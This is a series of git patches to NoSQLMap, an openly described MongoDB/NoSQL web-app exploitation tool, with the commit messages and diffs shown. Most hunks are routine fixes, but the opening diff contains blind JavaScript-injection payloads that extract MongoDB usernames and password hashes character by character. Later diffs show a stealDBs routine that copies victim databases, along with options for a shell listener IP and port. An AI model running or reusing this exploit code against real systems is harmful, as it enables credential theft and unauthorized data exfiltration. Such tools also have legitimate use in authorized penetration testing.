+ req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1629,7 +1644,9 @@ def getDBInfo(): while rightCharsHash < 32: #Hash length is static hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(hashUri).read())) + + req = urllib2.Request(hashUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] @@ -1650,7 +1667,9 @@ def getDBInfo(): while charCountUsr == False: #different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(usrUri).read())) + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: #Got the right number of characters @@ -1661,7 +1680,9 @@ def getDBInfo(): while rightCharsUsr < usrChars: usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") - lenUri = int(len(urllib.urlopen(usrUri).read())) + + req = urllib2.Request(usrUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1681,7 +1702,9 @@ def getDBInfo(): while rightCharsHash < 32: #Hash length is static hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") - lenUri = int(len(urllib.urlopen(hashUri).read())) + + req = urllib2.Request(hashUri, None, requestHeaders) + lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] From 8604102c29ba36c44bbb8b359e40b945cdc56881 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 20 Jul 2015 19:25:40 -0500 Subject: [PATCH 102/207] Fix bug 27 --- nosqlmap.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8e541a4..3d34790 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -167,6 +167,7 @@ def options(): global mmSelect global dbPort global requestHeaders + requestHeaders = {} #Set default value if needed if optionSet[0] == False: @@ -367,6 +368,8 @@ def options(): httpMethod = optList[3] myIP = optList[4] myPort = optList[5] + verb = optList[6] + https = optList[7] if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) @@ -423,10 +426,11 @@ def options(): savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort)) + fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) if httpMethod == "POST": fo.write(",\n"+ str(postData)) + fo.write(",\n" + str(requestHeaders) ) fo.close() print "Options file saved!" except: From 7c7f1779e7bfe2c5cb9cb55a26c1f9972c04fe7d Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 26 Jul 2015 16:55:31 -0500 Subject: [PATCH 103/207] Tab Fixes --- nosqlmap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 3d34790..72ab534 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -167,7 +167,7 @@ def options(): global mmSelect global dbPort global requestHeaders - requestHeaders = {} + requestHeaders = {} #Set default value if needed if optionSet[0] == False: @@ -287,6 +287,7 @@ def options(): if httpMethod == "1": httpMethod = "GET" print "GET request set" + requestHeaders = {} optionSet[3] = True elif httpMethod == "2": @@ -368,8 +369,8 @@ def options(): httpMethod = optList[3] myIP = optList[4] myPort = optList[5] - verb = optList[6] - https = optList[7] + verb = optList[6] + https = optList[7] if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) From f2ee82da7146bb11d2d24f36bf79650e6a6bc5a7 Mon Sep 17 00:00:00 2001 From: RasPhilCo Date: Mon, 17 Aug 2015 22:45:03 -0400 Subject: [PATCH 104/207] Replace deprecated .disconnect() with .close() --- nsmmongo.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index 5e5d35b..77971f5 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -372,16 +372,16 @@ def mongoScan(ip,port,pingIt): try: dbList = conn.database_names() dbVer = conn.server_info()['version'] - conn.disconnect() + conn.close() return [0,dbVer] except: if str(sys.exc_info()).find('need to login') != -1: - conn.disconnect() + conn.close() return [1,None] else: - conn.disconnect() + conn.close() return [2,None] except: @@ -396,16 +396,16 @@ def mongoScan(ip,port,pingIt): try: dbList = conn.database_names() dbVer = conn.server_info()['version'] - conn.disconnect() + conn.close() return [0,dbVer] except Exception, e: if str(e).find('need to login') != -1: - conn.disconnect() + conn.close() return [1,None] else: - conn.disconnect() + conn.close() return [2,None] except: From 295cc748378f38cc9fccb004e1b1063a1fe166c1 Mon Sep 17 00:00:00 2001 From: root Date: Mon, 11 Jan 2016 20:33:00 -0500 Subject: [PATCH 105/207] Fixed crash setting options. --- nosqlmap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nosqlmap.py b/nosqlmap.py index 72ab534..dbc5d8a 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -168,6 +168,7 @@ def options(): global dbPort global requestHeaders requestHeaders = {} + optSelect = True #Set default value if needed if optionSet[0] == False: From 8d408b40a3b2a12b830a1b98175a6998261ba8e0 Mon Sep 17 00:00:00 2001 From: Russell Butturini Date: Tue, 12 Jan 2016 08:04:50 -0500 Subject: [PATCH 106/207] Added web connectivity debugging output. --- nosqlmap.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index dbc5d8a..6bc2df9 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -496,7 +496,8 @@ def postApps(): else: print "Got " + str(appRespCode) + "from the app, check your options." - except: + except Exception,e: + print e print "Looks like the server didn't respond. Check your options." if appUp == True: @@ -857,7 +858,8 @@ def getApps(): else: print "Got " + str(appRespCode) + "from the app, check your options." - except: + except Exception,e: + print e print "Looks like the server didn't respond. Check your options." if appUp == True: From d91b25938936cad3ff66eaee4f03de8373a21a7e Mon Sep 17 00:00:00 2001 From: Dan Obermiller Date: Fri, 19 Feb 2016 20:09:26 -0800 Subject: [PATCH 107/207] Use a context manager in setup.py --- setup.py | 47 ++++++++++++++++++++++++----------------------- 1 file changed, 24 insertions(+), 23 deletions(-) diff --git a/setup.py b/setup.py index af2fef8..a51fbbc 100644 --- a/setup.py +++ b/setup.py @@ -1,26 +1,27 @@ from setuptools import find_packages, setup -setup( - name = "NoSQLMap", - version = "0.5", - packages = find_packages(), - scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py'], - - entry_points = { - "console_scripts": [ - "NoSQLMap = nosqlmap:main" - ] - }, - - install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ - "NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\ - "requests==2.5.0"], - - author = "tcstools", - author_email = "nosqlmap@gmail.com", - description = "Automated MongoDB and NoSQL web application exploitation tool", - license = "GPLv3", - long_description = open("README.md").read(), - url = "http://www.nosqlmap.net" - ) +with open("README.md") as f: + setup( + name = "NoSQLMap", + version = "0.5", + packages = find_packages(), + scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py'], + + entry_points = { + "console_scripts": [ + "NoSQLMap = nosqlmap:main" + ] + }, + + install_requires = [ "CouchDB==1.0", "httplib2==0.9", "ipcalc==1.1.3",\ + "NoSQLMap==0.5", "pbkdf2==1.3", "pymongo==2.7.2",\ + "requests==2.5.0"], + + author = "tcstools", + author_email = "nosqlmap@gmail.com", + description = "Automated MongoDB and NoSQL web application exploitation tool", + license = "GPLv3", + long_description = f.read(), + url = "http://www.nosqlmap.net" + ) From 71724902dce13a71273ab682de04a6b883ce4c7a Mon Sep 17 00:00:00 2001 From: darin Date: Sun, 21 Feb 2016 15:07:31 -0700 Subject: [PATCH 108/207] Moved setting headers to its own option --- nosqlmap.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6bc2df9..895417f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -212,6 +212,7 @@ def options(): print "0-Load options file" print "a-Load options from saved Burp request" print "b-Save options file" + print "h-Set headers" print "x-Back to main menu" select = raw_input("Select an option: ") @@ -303,12 +304,6 @@ def options(): else: print "Invalid selection" - reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - reqHeadersArray = reqHeadersIn.split(",") - headerNames = reqHeadersArray[0::2] - headerValues = reqHeadersArray[1::2] - requestHeaders = dict(zip(headerNames, headerValues)) - elif select == "7": #Unset the setting boolean since we're setting it again. optionSet[4] = False @@ -438,6 +433,13 @@ def options(): except: print "Couldn't save options file." + elif select == "h": + reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") + reqHeadersArray = reqHeadersIn.split(",") + headerNames = reqHeadersArray[0::2] + headerValues = reqHeadersArray[1::2] + requestHeaders = dict(zip(headerNames, headerValues)) + elif select == "x": return From f6a5e106a1dbad8e7f8a8176d2f35a8dc6196fc1 Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Thu, 5 May 2016 17:10:03 +0800 Subject: [PATCH 109/207] test --- nsmcouch.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index 3bf05f7..cbabf1d 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,7 +14,7 @@ #along with this program. If not, see . - +#test import couchdb import urllib import requests @@ -83,7 +83,6 @@ def netAttacks(target,port, myIP): mgtSelect = True #This is a global for future use with other modules; may change dbList = [] - print "Checking to see if credentials are needed..." needCreds = couchScan(target,port,False) From f7bfa614b07c12af0903bea4bc6ade5493b026d5 Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Thu, 5 May 2016 17:14:21 +0800 Subject: [PATCH 110/207] test --- nsmcouch.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmcouch.py b/nsmcouch.py index cbabf1d..a51f83b 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,7 +14,7 @@ #along with this program. If not, see . -#test +#test11 import couchdb import urllib import requests From 2718ba69035834097fdfa90c3b4f20fb0c387fa1 Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Thu, 5 May 2016 17:22:20 +0800 Subject: [PATCH 111/207] sunxiuyang --- nsmcouch.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmcouch.py b/nsmcouch.py index a51f83b..c9d759f 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,7 +14,7 @@ #along with this program. If not, see . -#test11 +#sunxiuyang import couchdb import urllib import requests From 0106e1b48b4f18d0d66f55983e9513757a41caea Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Thu, 5 May 2016 17:22:20 +0800 Subject: [PATCH 112/207] fix two bug of set local mongoDB/shell IP bug1: Every time when user input Invalid IP, goodLen and goodDigits should be reset. If not do this, there will be a bug For example enter 10.0.0.1234 firtly and the goodLen will be set to True and goodDigits will be set to False Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables line number is 313 set local mongoDB IP test: 10.0.0.1234 10.0.123 bug2: Default value of goodDigits should be set to True line number is 335 set local mongoDB IP: test: 12.123435.12.10 --- .idea/NoSQLMap-v0.5.iml | 11 +++++++++++ nosqlmap.py | 35 +++++++++++++++++++++-------------- nsmcouch.py | 2 +- 3 files changed, 33 insertions(+), 15 deletions(-) create mode 100644 .idea/NoSQLMap-v0.5.iml diff --git a/.idea/NoSQLMap-v0.5.iml b/.idea/NoSQLMap-v0.5.iml new file mode 100644 index 0000000..6711606 --- /dev/null +++ b/.idea/NoSQLMap-v0.5.iml @@ -0,0 +1,11 @@ + + + + + + + + + + \ No newline at end of file diff --git a/nosqlmap.py b/nosqlmap.py index 895417f..02a550b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -233,18 +233,19 @@ def options(): #Treat this as a DNS name optionSet[0] = True notDNS = False + else: + #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary + #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + for item in octets: + try: + if int(item) < 0 or int(item) > 255: + print "Bad octet in IP address." + goodDigits = False - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. - for item in octets: - try: - if int(item) < 0 or int(item) > 255: - print "Bad octet in IP address." - goodDigits = False - - except: - #Must be a DNS name (for now) + except: + #Must be a DNS name (for now) - notDNS = False + notDNS = False #If everything checks out set the IP and break the loop if goodDigits == True or notDNS == False: @@ -307,9 +308,13 @@ def options(): elif select == "7": #Unset the setting boolean since we're setting it again. optionSet[4] = False - goodLen = False - goodDigits = False + while optionSet[4] == False: + goodLen = False + goodDigits = True + #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If not do this, there will be a bug + #For example enter 10.0.0.1234 firtly and the goodLen will be set to True and goodDigits will be set to False + #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") #make sure we got a valid IP octets = myIP.split(".") @@ -327,8 +332,10 @@ def options(): print "Bad octet in IP address." goodDigits = False - else: - goodDigits = True +# else: +# goodDigits = True + #Default value of goodDigits should be set to True + #for example 12.12345.12.12 #If everything checks out set the IP and break the loop diff --git a/nsmcouch.py b/nsmcouch.py index a51f83b..c9d759f 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,7 +14,7 @@ #along with this program. If not, see . -#test11 +#sunxiuyang import couchdb import urllib import requests From b5cd606913ac82cabfbba435665abadf560c675d Mon Sep 17 00:00:00 2001 From: youngyangyang04 <826123027@qq.com> Date: Fri, 20 May 2016 22:04:25 +0800 Subject: [PATCH 113/207] Update nsmcouch.py --- nsmcouch.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmcouch.py b/nsmcouch.py index c9d759f..1a0c525 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,7 +14,7 @@ #along with this program. If not, see . -#sunxiuyang + import couchdb import urllib import requests From 1374783234a8015ea334b02d7899ac4311e038ea Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sat, 21 May 2016 16:53:49 +0800 Subject: [PATCH 114/207] operator ''>'' should be replace with ''>=' in 157 line number Describtion when user select a database to steal, there is a bug if user enter database number equal to the account of database plus one leak test: 1-local 2-VASTTEST 3-admin Select a database to steal: 56 Invalid selection. Select a database to steal: 23 Invalid selection. Select a database to steal: 4 Does this database require credentials (y/n)? 4 is a invalid number, but system accept it --- nsmmongo.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmmongo.py b/nsmmongo.py index 77971f5..7f2deab 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn): while dbLoot: dbLoot = raw_input("Select a database to steal: ") - if int(dbLoot) > menuItem: + if int(dbLoot) >= menuItem: print "Invalid selection." else: From 421cf5ad4aa809be79b191211b7401b2e4eb77bd Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sun, 22 May 2016 12:41:11 +0800 Subject: [PATCH 115/207] Description: put the code "myDBConn = pymongo.MongoClient(myDB, 27017)" out of the "if" statements, because if don't do this, the code in line number 174 will be not executed if user select the option that require credentials. lead test: Exception e is "local variable 'myDBConn' referenced before assignment". It indicates the code in line number 174 will be not executed if user select the option that require credentials. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After modification Exception e is "command SON([('copydb', 1), ('username', 'youngyangyang04'), ('nonce', u'b9d5887c5f7cc17c'), ('fromdb', u'admin'), ('todb', u'admin_stolen'), ('key', u'dcfd7214988466b2f620809fd27015b4'), ('fromhost', '128.95.1.27')]) failed: unable to login { code: 18, ok: 0.0, errmsg: "auth fails” }" So the code in line number 174 works --- nsmmongo.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index 7f2deab..ec3387e 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn): try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - + myDBConn = pymongo.MongoClient(myDB, 27017) if dbNeedCreds in no_tag: - myDBConn = pymongo.MongoClient(myDB,27017) + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) elif dbNeedCreds in yes_tag: @@ -186,6 +186,7 @@ def stealDBs(myDB,victim,mongoConn): return except Exception, e: +# print str(e) if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return From 6079d24872768bf8c16f5a9eac0f8c245b4ae6b9 Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sun, 22 May 2016 13:32:01 +0800 Subject: [PATCH 116/207] add the state of Network in line number 192 --- nsmmongo.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index ec3387e..dfac3f9 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -186,11 +186,11 @@ def stealDBs(myDB,victim,mongoConn): return except Exception, e: -# print str(e) if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return - + elif str(e).find('Network is unreachable') != -1: + raw_input("Are you sure your network is unreachable? Press enter to return..") else: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return From fea582fbb2e59da547b23ea8ffe68bca59d586ea Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sat, 4 Jun 2016 10:21:39 +0800 Subject: [PATCH 117/207] add condition that optionSet[4] == True in line number 96 Because variable "myIP" should be set --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 02a550b..6e0c144 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -93,7 +93,7 @@ def mainMenu(): options() elif select == "2": - if optionSet[0] == True: + if optionSet[0] == True and optionSet[4] == True: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort) From ca2052596e2b2a2dbc7727ce548c9bcf5cb7e695 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 4 Jun 2016 17:43:29 -0500 Subject: [PATCH 118/207] 0.6 initial commit --- nosqlmap.py | 1764 --------------------------------------------------- nsmmongo.py | 660 +++++++++---------- nsmscan.py | 148 +++++ nsmweb.py | 1170 ++++++++++++++++++++++++++++++++++ 4 files changed, 1648 insertions(+), 2094 deletions(-) delete mode 100755 nosqlmap.py create mode 100644 nsmscan.py create mode 100644 nsmweb.py diff --git a/nosqlmap.py b/nosqlmap.py deleted file mode 100755 index 6e0c144..0000000 --- a/nosqlmap.py +++ /dev/null @@ -1,1764 +0,0 @@ -#!/usr/bin/python -#NoSQLMap Copyright 2014 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . - - -import sys -import nsmcouch -import nsmmongo -import string -import random -import os -import time -import httplib2 -import urllib -import urllib2 -import json -import ipcalc -import signal -import ast -import datetime -import itertools -import re - -def main(): - signal.signal(signal.SIGINT, signal_handler) - global optionSet - #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. - optionSet = [False]*9 - global yes_tag - global no_tag - yes_tag = ['y', 'Y'] - no_tag = ['n', 'N'] - global victim - global webPort - global uri - global httpMethod - global platform - global https - global myIP - global myPort - global verb - global scanNeedCreds - global dbPort - #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) - platform = "MongoDB" - dbPort = 27017 - myIP = "Not Set" - myPort = "Not Set" - mainMenu() - -def mainMenu(): - global platform - global victim - global dbPort - global myIP - global myPort - - mmSelect = True - while mmSelect: - os.system('clear') - print "====================================================" - print " _ _ _____ _____ _ ___ ___ " - print "| \ | | / ___|| _ | | | \/ | " - print "| \| | ___ \ `--. | | | | | | . . | __ _ _ __ " - print "| . ` |/ _ \ `--. \| | | | | | |\/| |/ _` | '_ \ " - print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" - print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" - print "====================================================" - print "NoSQLMap-v0.5" - print "nosqlmap@gmail.com" - print "\n" - print "1-Set options" - print "2-NoSQL DB Access Attacks" - print "3-NoSQL Web App attacks" - print "4-Scan for Anonymous " + platform + " Access" - print "5-Change Platform (Current: " + platform + ")" - print "x-Exit" - - select = raw_input("Select an option: ") - - if select == "1": - options() - - elif select == "2": - if optionSet[0] == True and optionSet[4] == True: - if platform == "MongoDB": - nsmmongo.netAttacks(victim, dbPort, myIP, myPort) - - elif platform == "CouchDB": - nsmcouch.netAttacks(victim, dbPort, myIP) - - #Check minimum required options - else: - raw_input("Target not set! Check options. Press enter to continue...") - - - elif select == "3": - #Check minimum required options - if (optionSet[0] == True) and (optionSet[2] == True): - if httpMethod == "GET": - getApps() - - else: - postApps() - - else: - raw_input("Options not set! Check host and URI path. Press enter to continue...") - - - elif select == "4": - massScan() - - elif select == "5": - platSel() - - elif select == "x": - sys.exit() - - else: - raw_input("Invalid selection. Press enter to continue.") - -def platSel(): - global platform - global dbPort - select = True - print "\n" - while select: - print "1-MongoDB" - print "2-CouchDB" - pSel = raw_input("Select a platform: ") - - if pSel == "1": - platform = "MongoDB" - dbPort = 27017 - return - - elif pSel == "2": - platform = "CouchDB" - dbPort = 5984 - return - else: - psel = True - raw_input("Invalid selection. Press enter to continue.") - -def options(): - global victim - global webPort - global uri - global https - global platform - global httpMethod - global postData - global myIP - global myPort - global verb - global mmSelect - global dbPort - global requestHeaders - requestHeaders = {} - optSelect = True - - #Set default value if needed - if optionSet[0] == False: - global victim - victim = "Not Set" - if optionSet[1] == False: - global webPort - webPort = 80 - optionSet[1] = True - if optionSet[2] == False: - global uri - uri = "Not Set" - if optionSet[3] == False: - global httpMethod - httpMethod = "GET" - if optionSet[4] == False: - global myIP - myIP = "Not Set" - if optionSet[5] == False: - global myPort - myPort = "Not Set" - if optionSet[6] == False: - verb = "OFF" - optSelect = True - if optionSet[8] == False: - https = "OFF" - optSelect = True - - while optSelect: - print "\n\n" - print "Options" - print "1-Set target host/IP (Current: " + str(victim) + ")" - print "2-Set web app port (Current: " + str(webPort) + ")" - print "3-Set App Path (Current: " + str(uri) + ")" - print "4-Toggle HTTPS (Current: " + str(https) + ")" - print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")" - print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" - print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")" - print "8-Set shell listener port (Current: " + str(myPort) + ")" - print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")" - print "0-Load options file" - print "a-Load options from saved Burp request" - print "b-Save options file" - print "h-Set headers" - print "x-Back to main menu" - - select = raw_input("Select an option: ") - - if select == "1": - #Unset the boolean if it's set since we're setting it again. - optionSet[0] = False - ipLen = False - - while optionSet[0] == False: - goodDigits = True - notDNS = True - victim = raw_input("Enter the host IP/DNS name: ") - #make sure we got a valid IP - octets = victim.split(".") - - if len(octets) != 4: - #Treat this as a DNS name - optionSet[0] = True - notDNS = False - else: - #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. - for item in octets: - try: - if int(item) < 0 or int(item) > 255: - print "Bad octet in IP address." - goodDigits = False - - except: - #Must be a DNS name (for now) - - notDNS = False - - #If everything checks out set the IP and break the loop - if goodDigits == True or notDNS == False: - print "\nTarget set to " + victim + "\n" - optionSet[0] = True - - elif select == "2": - webPort = raw_input("Enter the HTTP port for web apps: ") - print "\nHTTP port set to " + webPort + "\n" - optionSet[1] = True - - elif select == "3": - uri = raw_input("Enter URI Path (Press enter for no URI): ") - print "\nURI Path set to " + uri + "\n" - optionSet[2] = True - - elif select == "4": - if https == "OFF": - print "HTTPS enabled." - https = "ON" - optionSet[8] = True - - elif https == "ON": - print "HTTPS disabled." - https = "OFF" - optionSet[8] = True - - - elif select == "5": - dbPort = int(raw_input("Enter target MongoDB port: ")) - print "\nTarget Mongo Port set to " + str(dbPort) + "\n" - optionSet[7] = True - - elif select == "6": - httpMethod = True - while httpMethod == True: - - print "1-Send request as a GET" - print "2-Send request as a POST" - httpMethod = raw_input("Select an option: ") - - if httpMethod == "1": - httpMethod = "GET" - print "GET request set" - requestHeaders = {} - optionSet[3] = True - - elif httpMethod == "2": - print "POST request set" - optionSet[3] = True - postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - pdArray = postDataIn.split(",") - paramNames = pdArray[0::2] - paramValues = pdArray[1::2] - postData = dict(zip(paramNames,paramValues)) - httpMethod = "POST" - else: - print "Invalid selection" - - elif select == "7": - #Unset the setting boolean since we're setting it again. - optionSet[4] = False - - while optionSet[4] == False: - goodLen = False - goodDigits = True - #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If not do this, there will be a bug - #For example enter 10.0.0.1234 firtly and the goodLen will be set to True and goodDigits will be set to False - #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables - myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") - #make sure we got a valid IP - octets = myIP.split(".") - #If there aren't 4 octets, toss an error. - if len(octets) != 4: - print "Invalid IP length." - - else: - goodLen = True - - if goodLen == True: - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. - for item in octets: - if int(item) < 0 or int(item) > 255: - print "Bad octet in IP address." - goodDigits = False - -# else: -# goodDigits = True - #Default value of goodDigits should be set to True - #for example 12.12345.12.12 - - - #If everything checks out set the IP and break the loop - if goodLen == True and goodDigits == True: - print "\nShell/DB listener set to " + myIP + "\n" - optionSet[4] = True - - elif select == "8": - myPort = raw_input("Enter TCP listener for shells: ") - print "Shell TCP listener set to " + myPort + "\n" - optionSet[5] = True - - elif select == "9": - if verb == "OFF": - print "Verbose output enabled." - verb = "ON" - optionSet[6] = True - - elif verb == "ON": - print "Verbose output disabled." - verb = "OFF" - optionSet[6] = True - - elif select == "0": - loadPath = raw_input("Enter file name to load: ") - try: - fo = open(loadPath,"r" ) - csvOpt = fo.readlines() - fo.close() - optList = csvOpt[0].split(",") - victim = optList[0] - webPort = optList[1] - uri = optList[2] - httpMethod = optList[3] - myIP = optList[4] - myPort = optList[5] - verb = optList[6] - https = optList[7] - - if httpMethod == "POST": - postData = ast.literal_eval(csvOpt[1]) - - #Set option checking array based on what was loaded - x = 0 - for item in optList: - if item != "Not Set": - optionSet[x] = True - x += 1 - except: - print "Couldn't load options file!" - - elif select == "a": - loadPath = raw_input("Enter path to Burp request file: ") - - try: - fo = open(loadPath,"r") - reqData = fo.readlines() - - except: - raw_input("error reading file. Press enter to continue...") - return - - methodPath = reqData[0].split(" ") - - if methodPath[0] == "GET": - httpMethod = "GET" - - elif methodPath[0] == "POST": - paramNames = [] - paramValues = [] - httpMethod = "POST" - postData = reqData[len(reqData)-1] - #split the POST parameters up into individual items - paramsNvalues = postData.split("&") - - for item in paramsNvalues: - tempList = item.split("=") - paramNames.append(tempList[0]) - paramValues.append(tempList[1]) - - postData = dict(zip(paramNames,paramValues)) - - else: - print "unsupported method in request header." - - victim = reqData[1].split( " ")[1].replace("\r\n","") - optionSet[0] = True - uri = methodPath[1].replace("\r\n","") - optionSet[2] = True - - elif select == "b": - savePath = raw_input("Enter file name to save: ") - try: - fo = open(savePath, "wb") - fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) - - if httpMethod == "POST": - fo.write(",\n"+ str(postData)) - fo.write(",\n" + str(requestHeaders) ) - fo.close() - print "Options file saved!" - except: - print "Couldn't save options file." - - elif select == "h": - reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - reqHeadersArray = reqHeadersIn.split(",") - headerNames = reqHeadersArray[0::2] - headerValues = reqHeadersArray[1::2] - requestHeaders = dict(zip(headerNames, headerValues)) - - elif select == "x": - return - -def postApps(): - print "Web App Attacks (POST)" - print "===============" - paramName = [] - paramValue = [] - global vulnAddrs - 